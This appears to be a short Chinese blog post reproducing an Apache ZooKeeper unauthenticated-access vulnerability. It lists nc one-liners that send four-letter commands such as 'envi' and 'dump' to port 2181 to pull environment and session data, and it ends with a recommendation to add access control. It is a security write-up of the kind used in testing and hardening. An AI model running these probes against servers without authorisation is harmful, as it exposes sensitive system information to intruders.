- A+
所属分类：漏洞复现
服务简介
ZooKeeper，它是一个分布式服务框架，是Apache Hadoop 的一个子项目，它主要是用来解决分布式应用中经常遇到的一些数据管理问题，如：统一命名服务、状态同步服务、集群管理、分布式应用配置项的管理等。ZooKeeper默认开启在2181端口
漏洞危害
未对访问进行控制，通过envi命令可获得系统大量的敏感信息。
漏洞复现：
利用Poc
|
1 2 3 4 5 |
echo envi | nc ip port #获取服务器环境信息 echo stat | nc ip port #获取性能和连接的客户端的统计信息 echo ruok | nc ip port #测试服务器是否运行在非错误状态 echo reqs | nc ip port #列出未完成请求 echo dump | nc ip port #列出未完成的会话和临时节点 |
|
1 |
echo envi|nc ip 2181 |
修复建议：
添加访问控制，如：用户认证、用户名密码、指定ip。
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-
